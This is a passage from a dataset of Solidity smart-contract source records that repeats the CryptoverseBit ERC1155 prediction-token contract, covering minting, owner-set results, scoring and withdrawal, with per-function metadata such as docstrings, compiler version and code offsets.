return _seriesLimits[series];
}
/**
* Returns the series mint prices.
*
* @param series series name
* @return series mint price
*/
function seriesMintPrice(string memory series) public view returns (uint256) {
return _seriesMintPrices[series];
}
/**
* Returns the number of mints for series.
*
* @param series series name
* @return number of mints already done withing the series
*/
function seriesMints(string memory series) public view returns (uint256) {
return _seriesMints[series];
}
/**
* Mints the token with predictions. This method will produce the logs so the user can find out the tokenId once transaction is written to the chain.
*
* @param series series name
* @param nickname space for user to put the identifier
* @param predict_1 prediction 1
* @param predict_2 prediction 2
* @param predict_3 prediction 3
* @param predict_4 prediction 4
* @param predict_5 prediction 5
* @param predict_6 prediction 6
*
*/
function mint(string memory series, string memory nickname, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6)
public payable
{
require(_seriesMints[series] < _seriesLimits[series], "Series limit has been reached");
require(msg.value == _seriesMintPrices[series], "ETH value does not match the series mint price");
bytes memory b = new bytes(0);
_mint(msg.sender, _numTokens, 1, b);
uint64 luck = generateLuckyNum(_numTokens, _numDecimals);
uint256 seriesNumber = _seriesMints[series] + 1;
_predictions[_numTokens] = Prediction(block.timestamp, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
emit PredictionMinted(msg.sender, _numTokens, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
_numTokens = _numTokens + 1;
_seriesMints[series] = seriesNumber;
}
/**
*
* Sets the result for the given token.
*
* @param tokenId token id
* @param result_0 the actual value at the time of when prediction had been written to the chain
* @param result_1 the actual value to the prediction_1
* @param result_2 the actual value to the prediction_2
* @param result_3 the actual value to the prediction_3
* @param result_4 the actual value to the prediction_4
* @param result_5 the actual value to the prediction_5
* @param result_6 the actual value to the prediction_6
*/
function setResult(uint256 tokenId, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6)
public onlyOwner
{
require(bytes(_predictions[tokenId].series).length > bytes("").length, "prediction must be minted before result can be set");
_results[tokenId] = Result(result_0, result_1, result_2, result_3, result_4, result_5, result_6);
emit ResultSet(msg.sender, tokenId, _predictions[tokenId].series, result_0, result_1, result_2, result_3, result_4, result_5, result_6);
}
/**
* Returns the prediction data under the specified token.
*
* @param tokenId token id
* @return prediction data for the given token
*/
function prediction(uint256 tokenId) public view returns (Prediction memory) {
return _predictions[tokenId];
}
/**
* Returns the result data under the specified token.
*
* @param tokenId token id
* @return result data for the given token
*/
function result(uint256 tokenId) public view returns (ScoredResult memory) {
uint64 score_1 = calculateScore(_predictions[tokenId].predict_1, _results[tokenId].result_1, _numDecimals);
uint64 score_2 = calculateScore(_predictions[tokenId].predict_2, _results[tokenId].result_2, _numDecimals);
uint64 score_3 = calculateScore(_predictions[tokenId].predict_3, _results[tokenId].result_3, _numDecimals);
uint64 score_4 = calculateScore(_predictions[tokenId].predict_4, _results[tokenId].result_4, _numDecimals);
uint64 score_5 = calculateScore(_predictions[tokenId].predict_5, _results[tokenId].result_5, _numDecimals);
uint64 score_6 = calculateScore(_predictions[tokenId].predict_6, _results[tokenId].result_6, _numDecimals);
uint64 totalScore = calculateTotalScore(score_1, score_2, score_3, score_4, score_5, score_6);
return ScoredResult(totalScore, _results[tokenId].result_0,
_results[tokenId].result_1, score_1,
_results[tokenId].result_2, score_2,
_results[tokenId].result_3, score_3,
_results[tokenId].result_4, score_4,
_results[tokenId].result_5, score_5,
_results[tokenId].result_6, score_6);
}
/**
* Returns balance of this contract.
*
* @return contract balance
*/
function balance() public view returns (uint256) {
return address(this).balance;
}
/**
* Withdraws the balance.
*/
function withdraw() public onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
/**
* Generates lucky number. This is a pseudo random number. This is 0-100% (bounds included), with the given number of decimals.
*
* @param seed seed number
* @param nd number of decimal points to work with
* @return generated number
*/
function generateLuckyNum(uint256 seed, uint8 nd) internal pure returns (uint64) {
uint256 fact = (100 * (10**nd)) + 1;
uint256 kc = uint256(keccak256(abi.encodePacked(seed)));
uint256 rn = kc % fact;
return uint64(rn);
}
/**
* Calculates score from prediction and results.
*
* @param pred preduction
* @param res the actual value
* @param nd number of decimal points
* @return calculated score as 0-100% witgh decimals
*/
function calculateScore(uint64 pred, uint64 res, uint8 nd) internal pure returns (uint64) {
if (pred == 0 && res == 0) {
return 0;
}
uint256 fact = 10**nd;
if (pred >= res) {
uint256 p2 = pred;
uint256 r2 = 100 * res * fact;
uint256 r = r2 / p2;
return uint64(r);
}
else {
uint256 p2 = 100 * pred * fact;
uint256 r2 = res;
uint256 r = p2 / r2;
return uint64(r);
}
}
/**
* Calculates total score from the 6 scores.
*
* @param s1 score 1
* @param s2 score 2
* @param s3 score 3
* @param s4 score 4
* @param s5 score 5
* @param s6 score 6
* @return total score as a weigted average
*/
function calculateTotalScore(uint64 s1, uint64 s2, uint64 s3, uint64 s4, uint64 s5, uint64 s6) internal pure returns (uint64) {
uint256 s1a = s1 * 11;
uint256 s2a = s2 * 12;
uint256 s3a = s3 * 13;
uint256 s4a = s4 * 14;
uint256 s5a = s5 * 15;
uint256 s6a = s6 * 16;
uint256 res = (s1a + s2a + s3a + s4a + s5a + s6a) / 81;
return uint64(res);
}
/**
* Concatenates strings.
*
* @param a string a
* @param b string b
* @return concatenateds string
*/
function strConcat(string memory a, string memory b) internal pure returns (string memory) {
bytes memory ba = bytes(a);
bytes memory bb = bytes(b);
string memory ab = new string(ba.length + bb.length);
bytes memory bab = bytes(ab);
uint k = 0;
for (uint i = 0; i < ba.length; i++) bab[k++] = ba[i];
for (uint i = 0; i < bb.length; i++) bab[k++] = bb[i];
return string(bab);
}
} | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | withdraw | function withdraw() public onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
| /**
* Withdraws the balance.
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
9885,
9994
]
} | 11,212 |
||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6);
/**
* Emitted when result is submitted to the chain.
*/
event ResultSet(address indexed operator, uint256 tokenId, string series, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6);
/**
* Emitted when series is set.
*/
event SeriesSet(address indexed operator, string series, uint256 limit, uint256 mintPrice);
/**
* Prediction structure.
*/
struct Prediction {
uint256 timestamp;
string series;
uint256 seriesNumber;
string nickname;
uint64 lucky;
uint64 predict_1;
uint64 predict_2;
uint64 predict_3;
uint64 predict_4;
uint64 predict_5;
uint64 predict_6;
}
/**
* Result structure.
*/
struct Result {
uint64 result_0;
uint64 result_1;
uint64 result_2;
uint64 result_3;
uint64 result_4;
uint64 result_5;
uint64 result_6;
}
/**
* Result with score structure.
*/
struct ScoredResult {
uint64 totalScore;
uint64 result_0;
uint64 result_1;
uint64 score_1;
uint64 result_2;
uint64 score_2;
uint64 result_3;
uint64 score_3;
uint64 result_4;
uint64 score_4;
uint64 result_5;
uint64 score_5;
uint64 result_6;
uint64 score_6;
}
/**
* Name for contract identification.
*/
string private _name;
/**
* Number of decimals.
*/
uint8 private _numDecimals;
/**
* Total number of tokens minted so far.
*/
uint256 private _numTokens;
/**
* Mapping from token ID to predictions.
*/
mapping(uint256 => Prediction) private _predictions;
/**
* Mapping from token ID to results.
*/
mapping(uint256 => Result) private _results;
/**
* Mapping from series to the maximum amounts that can be minted.
*/
mapping(string => uint256) private _seriesLimits;
/**
* Mapping from series to the mint prices.
*/
mapping(string => uint256) private _seriesMintPrices;
/**
* Mapping from series to the number of so far minted tokens.
*/
mapping(string => uint256) private _seriesMints;
/**
* Creates new instance.
*
* @param name_ contract name
* @param numDecimals_ number of decimals this contract operates with
*/
constructor(string memory name_, uint8 numDecimals_) ERC1155("") {
_name = name_;
_numDecimals = numDecimals_;
}
/**
* Returns the contract name.
*
* @return contract name
*/
function name() public view returns (string memory) {
return _name;
}
/**
* Returns the number of decimal places this contract work with.
*
* @return number of decimal points this contract work with
*/
function numDecimals() public view returns (uint8) {
return _numDecimals;
}
/**
* Sets uri base.
*
* @param uriBase uri base
*/
function setUriBase(string memory uriBase) public onlyOwner {
_setURI(uriBase);
}
/**
* Return uri.
*
* @param tokenId token id
* @return token url
*/
function uri(uint256 tokenId) public override view returns (string memory) {
return strConcat(
super.uri(tokenId),
Strings.toString(tokenId)
);
}
/**
* Sets series limit.
*
* @param series series name
* @param limit limit of the tokens that can be under this series
* @param mintPrice price to mint the token
*/
function setSeries(string memory series, uint256 limit, uint256 mintPrice) public onlyOwner {
require(bytes(series).length > bytes("").length, "series cannot be empty string");
_seriesLimits[series] = limit;
_seriesMintPrices[series] = mintPrice;
emit SeriesSet(msg.sender, series, limit, mintPrice);
}
/**
* Returns the series limit.
*
* @param series series name
* @return series limit
*/
function seriesLimit(string memory series) public view returns (uint256) {
return _seriesLimits[series];
}
/**
* Returns the series mint prices.
*
* @param series series name
* @return series mint price
*/
function seriesMintPrice(string memory series) public view returns (uint256) {
return _seriesMintPrices[series];
}
/**
* Returns the number of mints for series.
*
* @param series series name
* @return number of mints already done withing the series
*/
function seriesMints(string memory series) public view returns (uint256) {
return _seriesMints[series];
}
/**
* Mints the token with predictions. This method will produce the logs so the user can find out the tokenId once transaction is written to the chain.
*
* @param series series name
* @param nickname space for user to put the identifier
* @param predict_1 prediction 1
* @param predict_2 prediction 2
* @param predict_3 prediction 3
* @param predict_4 prediction 4
* @param predict_5 prediction 5
* @param predict_6 prediction 6
*
*/
function mint(string memory series, string memory nickname, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6)
public payable
{
require(_seriesMints[series] < _seriesLimits[series], "Series limit has been reached");
require(msg.value == _seriesMintPrices[series], "ETH value does not match the series mint price");
bytes memory b = new bytes(0);
_mint(msg.sender, _numTokens, 1, b);
uint64 luck = generateLuckyNum(_numTokens, _numDecimals);
uint256 seriesNumber = _seriesMints[series] + 1;
_predictions[_numTokens] = Prediction(block.timestamp, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
emit PredictionMinted(msg.sender, _numTokens, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
_numTokens = _numTokens + 1;
_seriesMints[series] = seriesNumber;
}
/**
*
* Sets the result for the given token.
*
* @param tokenId token id
* @param result_0 the actual value at the time of when prediction had been written to the chain
* @param result_1 the actual value to the prediction_1
* @param result_2 the actual value to the prediction_2
* @param result_3 the actual value to the prediction_3
* @param result_4 the actual value to the prediction_4
* @param result_5 the actual value to the prediction_5
* @param result_6 the actual value to the prediction_6
*/
function setResult(uint256 tokenId, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6)
public onlyOwner
{
require(bytes(_predictions[tokenId].series).length > bytes("").length, "prediction must be minted before result can be set");
_results[tokenId] = Result(result_0, result_1, result_2, result_3, result_4, result_5, result_6);
emit ResultSet(msg.sender, tokenId, _predictions[tokenId].series, result_0, result_1, result_2, result_3, result_4, result_5, result_6);
}
/**
* Returns the prediction data under the specified token.
*
* @param tokenId token id
* @return prediction data for the given token
*/
function prediction(uint256 tokenId) public view returns (Prediction memory) {
return _predictions[tokenId];
}
/**
* Returns the result data under the specified token.
*
* @param tokenId token id
* @return result data for the given token
*/
function result(uint256 tokenId) public view returns (ScoredResult memory) {
uint64 score_1 = calculateScore(_predictions[tokenId].predict_1, _results[tokenId].result_1, _numDecimals);
uint64 score_2 = calculateScore(_predictions[tokenId].predict_2, _results[tokenId].result_2, _numDecimals);
uint64 score_3 = calculateScore(_predictions[tokenId].predict_3, _results[tokenId].result_3, _numDecimals);
uint64 score_4 = calculateScore(_predictions[tokenId].predict_4, _results[tokenId].result_4, _numDecimals);
uint64 score_5 = calculateScore(_predictions[tokenId].predict_5, _results[tokenId].result_5, _numDecimals);
uint64 score_6 = calculateScore(_predictions[tokenId].predict_6, _results[tokenId].result_6, _numDecimals);
uint64 totalScore = calculateTotalScore(score_1, score_2, score_3, score_4, score_5, score_6);
return ScoredResult(totalScore, _results[tokenId].result_0,
_results[tokenId].result_1, score_1,
_results[tokenId].result_2, score_2,
_results[tokenId].result_3, score_3,
_results[tokenId].result_4, score_4,
_results[tokenId].result_5, score_5,
_results[tokenId].result_6, score_6);
}
/**
* Returns balance of this contract.
*
* @return contract balance
*/
function balance() public view returns (uint256) {
return address(this).balance;
}
/**
* Withdraws the balance.
*/
function withdraw() public onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
/**
* Generates lucky number. This is a pseudo random number. This is 0-100% (bounds included), with the given number of decimals.
*
* @param seed seed number
* @param nd number of decimal points to work with
* @return generated number
*/
function generateLuckyNum(uint256 seed, uint8 nd) internal pure returns (uint64) {
uint256 fact = (100 * (10**nd)) + 1;
uint256 kc = uint256(keccak256(abi.encodePacked(seed)));
uint256 rn = kc % fact;
return uint64(rn);
}
/**
* Calculates score from prediction and results.
*
* @param pred preduction
* @param res the actual value
* @param nd number of decimal points
* @return calculated score as 0-100% witgh decimals
*/
function calculateScore(uint64 pred, uint64 res, uint8 nd) internal pure returns (uint64) {
if (pred == 0 && res == 0) {
return 0;
}
uint256 fact = 10**nd;
if (pred >= res) {
uint256 p2 = pred;
uint256 r2 = 100 * res * fact;
uint256 r = r2 / p2;
return uint64(r);
}
else {
uint256 p2 = 100 * pred * fact;
uint256 r2 = res;
uint256 r = p2 / r2;
return uint64(r);
}
}
/**
* Calculates total score from the 6 scores.
*
* @param s1 score 1
* @param s2 score 2
* @param s3 score 3
* @param s4 score 4
* @param s5 score 5
* @param s6 score 6
* @return total score as a weigted average
*/
function calculateTotalScore(uint64 s1, uint64 s2, uint64 s3, uint64 s4, uint64 s5, uint64 s6) internal pure returns (uint64) {
uint256 s1a = s1 * 11;
uint256 s2a = s2 * 12;
uint256 s3a = s3 * 13;
uint256 s4a = s4 * 14;
uint256 s5a = s5 * 15;
uint256 s6a = s6 * 16;
uint256 res = (s1a + s2a + s3a + s4a + s5a + s6a) / 81;
return uint64(res);
}
/**
* Concatenates strings.
*
* @param a string a
* @param b string b
* @return concatenateds string
*/
function strConcat(string memory a, string memory b) internal pure returns (string memory) {
bytes memory ba = bytes(a);
bytes memory bb = bytes(b);
string memory ab = new string(ba.length + bb.length);
bytes memory bab = bytes(ab);
uint k = 0;
for (uint i = 0; i < ba.length; i++) bab[k++] = ba[i];
for (uint i = 0; i < bb.length; i++) bab[k++] = bb[i];
return string(bab);
}
} | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | generateLuckyNum | function generateLuckyNum(uint256 seed, uint8 nd) internal pure returns (uint64) {
uint256 fact = (100 * (10**nd)) + 1;
uint256 kc = uint256(keccak256(abi.encodePacked(seed)));
uint256 rn = kc % fact;
return uint64(rn);
}
| /**
* Generates lucky number. This is a pseudo random number. This is 0-100% (bounds included), with the given number of decimals.
*
* @param seed seed number
* @param nd number of decimal points to work with
* @return generated number
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
10273,
10534
]
} | 11,213 |
||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6);
/**
* Emitted when result is submitted to the chain.
*/
event ResultSet(address indexed operator, uint256 tokenId, string series, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6);
/**
* Emitted when series is set.
*/
event SeriesSet(address indexed operator, string series, uint256 limit, uint256 mintPrice);
/**
* Prediction structure.
*/
struct Prediction {
uint256 timestamp;
string series;
uint256 seriesNumber;
string nickname;
uint64 lucky;
uint64 predict_1;
uint64 predict_2;
uint64 predict_3;
uint64 predict_4;
uint64 predict_5;
uint64 predict_6;
}
/**
* Result structure.
*/
struct Result {
uint64 result_0;
uint64 result_1;
uint64 result_2;
uint64 result_3;
uint64 result_4;
uint64 result_5;
uint64 result_6;
}
/**
* Result with score structure.
*/
struct ScoredResult {
uint64 totalScore;
uint64 result_0;
uint64 result_1;
uint64 score_1;
uint64 result_2;
uint64 score_2;
uint64 result_3;
uint64 score_3;
uint64 result_4;
uint64 score_4;
uint64 result_5;
uint64 score_5;
uint64 result_6;
uint64 score_6;
}
/**
* Name for contract identification.
*/
string private _name;
/**
* Number of decimals.
*/
uint8 private _numDecimals;
/**
* Total number of tokens minted so far.
*/
uint256 private _numTokens;
/**
* Mapping from token ID to predictions.
*/
mapping(uint256 => Prediction) private _predictions;
/**
* Mapping from token ID to results.
*/
mapping(uint256 => Result) private _results;
/**
* Mapping from series to the maximum amounts that can be minted.
*/
mapping(string => uint256) private _seriesLimits;
/**
* Mapping from series to the mint prices.
*/
mapping(string => uint256) private _seriesMintPrices;
/**
* Mapping from series to the number of so far minted tokens.
*/
mapping(string => uint256) private _seriesMints;
/**
* Creates new instance.
*
* @param name_ contract name
* @param numDecimals_ number of decimals this contract operates with
*/
constructor(string memory name_, uint8 numDecimals_) ERC1155("") {
_name = name_;
_numDecimals = numDecimals_;
}
/**
* Returns the contract name.
*
* @return contract name
*/
function name() public view returns (string memory) {
return _name;
}
/**
* Returns the number of decimal places this contract work with.
*
* @return number of decimal points this contract work with
*/
function numDecimals() public view returns (uint8) {
return _numDecimals;
}
/**
* Sets uri base.
*
* @param uriBase uri base
*/
function setUriBase(string memory uriBase) public onlyOwner {
_setURI(uriBase);
}
/**
* Return uri.
*
* @param tokenId token id
* @return token url
*/
function uri(uint256 tokenId) public override view returns (string memory) {
return strConcat(
super.uri(tokenId),
Strings.toString(tokenId)
);
}
/**
* Sets series limit.
*
* @param series series name
* @param limit limit of the tokens that can be under this series
* @param mintPrice price to mint the token
*/
function setSeries(string memory series, uint256 limit, uint256 mintPrice) public onlyOwner {
require(bytes(series).length > bytes("").length, "series cannot be empty string");
_seriesLimits[series] = limit;
_seriesMintPrices[series] = mintPrice;
emit SeriesSet(msg.sender, series, limit, mintPrice);
}
/**
* Returns the series limit.
*
* @param series series name
* @return series limit
*/
function seriesLimit(string memory series) public view returns (uint256) {
return _seriesLimits[series];
}
/**
* Returns the series mint prices.
*
* @param series series name
* @return series mint price
*/
function seriesMintPrice(string memory series) public view returns (uint256) {
return _seriesMintPrices[series];
}
/**
* Returns the number of mints for series.
*
* @param series series name
* @return number of mints already done withing the series
*/
function seriesMints(string memory series) public view returns (uint256) {
return _seriesMints[series];
}
/**
* Mints the token with predictions. This method will produce the logs so the user can find out the tokenId once transaction is written to the chain.
*
* @param series series name
* @param nickname space for user to put the identifier
* @param predict_1 prediction 1
* @param predict_2 prediction 2
* @param predict_3 prediction 3
* @param predict_4 prediction 4
* @param predict_5 prediction 5
* @param predict_6 prediction 6
*
*/
function mint(string memory series, string memory nickname, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6)
public payable
{
require(_seriesMints[series] < _seriesLimits[series], "Series limit has been reached");
require(msg.value == _seriesMintPrices[series], "ETH value does not match the series mint price");
bytes memory b = new bytes(0);
_mint(msg.sender, _numTokens, 1, b);
uint64 luck = generateLuckyNum(_numTokens, _numDecimals);
uint256 seriesNumber = _seriesMints[series] + 1;
_predictions[_numTokens] = Prediction(block.timestamp, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
emit PredictionMinted(msg.sender, _numTokens, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
_numTokens = _numTokens + 1;
_seriesMints[series] = seriesNumber;
}
/**
*
* Sets the result for the given token.
*
* @param tokenId token id
* @param result_0 the actual value at the time of when prediction had been written to the chain
* @param result_1 the actual value to the prediction_1
* @param result_2 the actual value to the prediction_2
* @param result_3 the actual value to the prediction_3
* @param result_4 the actual value to the prediction_4
* @param result_5 the actual value to the prediction_5
* @param result_6 the actual value to the prediction_6
*/
function setResult(uint256 tokenId, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6)
public onlyOwner
{
require(bytes(_predictions[tokenId].series).length > bytes("").length, "prediction must be minted before result can be set");
_results[tokenId] = Result(result_0, result_1, result_2, result_3, result_4, result_5, result_6);
emit ResultSet(msg.sender, tokenId, _predictions[tokenId].series, result_0, result_1, result_2, result_3, result_4, result_5, result_6);
}
/**
* Returns the prediction data under the specified token.
*
* @param tokenId token id
* @return prediction data for the given token
*/
function prediction(uint256 tokenId) public view returns (Prediction memory) {
return _predictions[tokenId];
}
/**
* Returns the result data under the specified token.
*
* @param tokenId token id
* @return result data for the given token
*/
function result(uint256 tokenId) public view returns (ScoredResult memory) {
uint64 score_1 = calculateScore(_predictions[tokenId].predict_1, _results[tokenId].result_1, _numDecimals);
uint64 score_2 = calculateScore(_predictions[tokenId].predict_2, _results[tokenId].result_2, _numDecimals);
uint64 score_3 = calculateScore(_predictions[tokenId].predict_3, _results[tokenId].result_3, _numDecimals);
uint64 score_4 = calculateScore(_predictions[tokenId].predict_4, _results[tokenId].result_4, _numDecimals);
uint64 score_5 = calculateScore(_predictions[tokenId].predict_5, _results[tokenId].result_5, _numDecimals);
uint64 score_6 = calculateScore(_predictions[tokenId].predict_6, _results[tokenId].result_6, _numDecimals);
uint64 totalScore = calculateTotalScore(score_1, score_2, score_3, score_4, score_5, score_6);
return ScoredResult(totalScore, _results[tokenId].result_0,
_results[tokenId].result_1, score_1,
_results[tokenId].result_2, score_2,
_results[tokenId].result_3, score_3,
_results[tokenId].result_4, score_4,
_results[tokenId].result_5, score_5,
_results[tokenId].result_6, score_6);
}
/**
* Returns balance of this contract.
*
* @return contract balance
*/
function balance() public view returns (uint256) {
return address(this).balance;
}
/**
* Withdraws the balance.
*/
function withdraw() public onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
/**
* Generates lucky number. This is a pseudo random number. This is 0-100% (bounds included), with the given number of decimals.
*
* @param seed seed number
* @param nd number of decimal points to work with
* @return generated number
*/
function generateLuckyNum(uint256 seed, uint8 nd) internal pure returns (uint64) {
uint256 fact = (100 * (10**nd)) + 1;
uint256 kc = uint256(keccak256(abi.encodePacked(seed)));
uint256 rn = kc % fact;
return uint64(rn);
}
/**
* Calculates score from prediction and results.
*
* @param pred preduction
* @param res the actual value
* @param nd number of decimal points
* @return calculated score as 0-100% witgh decimals
*/
function calculateScore(uint64 pred, uint64 res, uint8 nd) internal pure returns (uint64) {
if (pred == 0 && res == 0) {
return 0;
}
uint256 fact = 10**nd;
if (pred >= res) {
uint256 p2 = pred;
uint256 r2 = 100 * res * fact;
uint256 r = r2 / p2;
return uint64(r);
}
else {
uint256 p2 = 100 * pred * fact;
uint256 r2 = res;
uint256 r = p2 / r2;
return uint64(r);
}
}
/**
* Calculates total score from the 6 scores.
*
* @param s1 score 1
* @param s2 score 2
* @param s3 score 3
* @param s4 score 4
* @param s5 score 5
* @param s6 score 6
* @return total score as a weigted average
*/
function calculateTotalScore(uint64 s1, uint64 s2, uint64 s3, uint64 s4, uint64 s5, uint64 s6) internal pure returns (uint64) {
uint256 s1a = s1 * 11;
uint256 s2a = s2 * 12;
uint256 s3a = s3 * 13;
uint256 s4a = s4 * 14;
uint256 s5a = s5 * 15;
uint256 s6a = s6 * 16;
uint256 res = (s1a + s2a + s3a + s4a + s5a + s6a) / 81;
return uint64(res);
}
/**
* Concatenates strings.
*
* @param a string a
* @param b string b
* @return concatenateds string
*/
function strConcat(string memory a, string memory b) internal pure returns (string memory) {
bytes memory ba = bytes(a);
bytes memory bb = bytes(b);
string memory ab = new string(ba.length + bb.length);
bytes memory bab = bytes(ab);
uint k = 0;
for (uint i = 0; i < ba.length; i++) bab[k++] = ba[i];
for (uint i = 0; i < bb.length; i++) bab[k++] = bb[i];
return string(bab);
}
} | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | calculateScore | function calculateScore(uint64 pred, uint64 res, uint8 nd) internal pure returns (uint64) {
if (pred == 0 && res == 0) {
return 0;
}
uint256 fact = 10**nd;
if (pred >= res) {
uint256 p2 = pred;
uint256 r2 = 100 * res * fact;
uint256 r = r2 / p2;
return uint64(r);
}
else {
uint256 p2 = 100 * pred * fact;
uint256 r2 = res;
uint256 r = p2 / r2;
return uint64(r);
}
}
| /**
* Calculates score from prediction and results.
*
* @param pred preduction
* @param res the actual value
* @param nd number of decimal points
* @return calculated score as 0-100% witgh decimals
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
10780,
11325
]
} | 11,214 |
||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6);
/**
* Emitted when result is submitted to the chain.
*/
event ResultSet(address indexed operator, uint256 tokenId, string series, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6);
/**
* Emitted when series is set.
*/
event SeriesSet(address indexed operator, string series, uint256 limit, uint256 mintPrice);
/**
* Prediction structure.
*/
struct Prediction {
uint256 timestamp;
string series;
uint256 seriesNumber;
string nickname;
uint64 lucky;
uint64 predict_1;
uint64 predict_2;
uint64 predict_3;
uint64 predict_4;
uint64 predict_5;
uint64 predict_6;
}
/**
* Result structure.
*/
struct Result {
uint64 result_0;
uint64 result_1;
uint64 result_2;
uint64 result_3;
uint64 result_4;
uint64 result_5;
uint64 result_6;
}
/**
* Result with score structure.
*/
struct ScoredResult {
uint64 totalScore;
uint64 result_0;
uint64 result_1;
uint64 score_1;
uint64 result_2;
uint64 score_2;
uint64 result_3;
uint64 score_3;
uint64 result_4;
uint64 score_4;
uint64 result_5;
uint64 score_5;
uint64 result_6;
uint64 score_6;
}
/**
* Name for contract identification.
*/
string private _name;
/**
* Number of decimals.
*/
uint8 private _numDecimals;
/**
* Total number of tokens minted so far.
*/
uint256 private _numTokens;
/**
* Mapping from token ID to predictions.
*/
mapping(uint256 => Prediction) private _predictions;
/**
* Mapping from token ID to results.
*/
mapping(uint256 => Result) private _results;
/**
* Mapping from series to the maximum amounts that can be minted.
*/
mapping(string => uint256) private _seriesLimits;
/**
* Mapping from series to the mint prices.
*/
mapping(string => uint256) private _seriesMintPrices;
/**
* Mapping from series to the number of so far minted tokens.
*/
mapping(string => uint256) private _seriesMints;
/**
* Creates new instance.
*
* @param name_ contract name
* @param numDecimals_ number of decimals this contract operates with
*/
constructor(string memory name_, uint8 numDecimals_) ERC1155("") {
_name = name_;
_numDecimals = numDecimals_;
}
/**
* Returns the contract name.
*
* @return contract name
*/
function name() public view returns (string memory) {
return _name;
}
/**
* Returns the number of decimal places this contract work with.
*
* @return number of decimal points this contract work with
*/
function numDecimals() public view returns (uint8) {
return _numDecimals;
}
/**
* Sets uri base.
*
* @param uriBase uri base
*/
function setUriBase(string memory uriBase) public onlyOwner {
_setURI(uriBase);
}
/**
* Return uri.
*
* @param tokenId token id
* @return token url
*/
function uri(uint256 tokenId) public override view returns (string memory) {
return strConcat(
super.uri(tokenId),
Strings.toString(tokenId)
);
}
/**
* Sets series limit.
*
* @param series series name
* @param limit limit of the tokens that can be under this series
* @param mintPrice price to mint the token
*/
function setSeries(string memory series, uint256 limit, uint256 mintPrice) public onlyOwner {
require(bytes(series).length > bytes("").length, "series cannot be empty string");
_seriesLimits[series] = limit;
_seriesMintPrices[series] = mintPrice;
emit SeriesSet(msg.sender, series, limit, mintPrice);
}
/**
* Returns the series limit.
*
* @param series series name
* @return series limit
*/
function seriesLimit(string memory series) public view returns (uint256) {
return _seriesLimits[series];
}
/**
* Returns the series mint prices.
*
* @param series series name
* @return series mint price
*/
function seriesMintPrice(string memory series) public view returns (uint256) {
return _seriesMintPrices[series];
}
/**
* Returns the number of mints for series.
*
* @param series series name
* @return number of mints already done withing the series
*/
function seriesMints(string memory series) public view returns (uint256) {
return _seriesMints[series];
}
/**
* Mints the token with predictions. This method will produce the logs so the user can find out the tokenId once transaction is written to the chain.
*
* @param series series name
* @param nickname space for user to put the identifier
* @param predict_1 prediction 1
* @param predict_2 prediction 2
* @param predict_3 prediction 3
* @param predict_4 prediction 4
* @param predict_5 prediction 5
* @param predict_6 prediction 6
*
*/
function mint(string memory series, string memory nickname, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6)
public payable
{
require(_seriesMints[series] < _seriesLimits[series], "Series limit has been reached");
require(msg.value == _seriesMintPrices[series], "ETH value does not match the series mint price");
bytes memory b = new bytes(0);
_mint(msg.sender, _numTokens, 1, b);
uint64 luck = generateLuckyNum(_numTokens, _numDecimals);
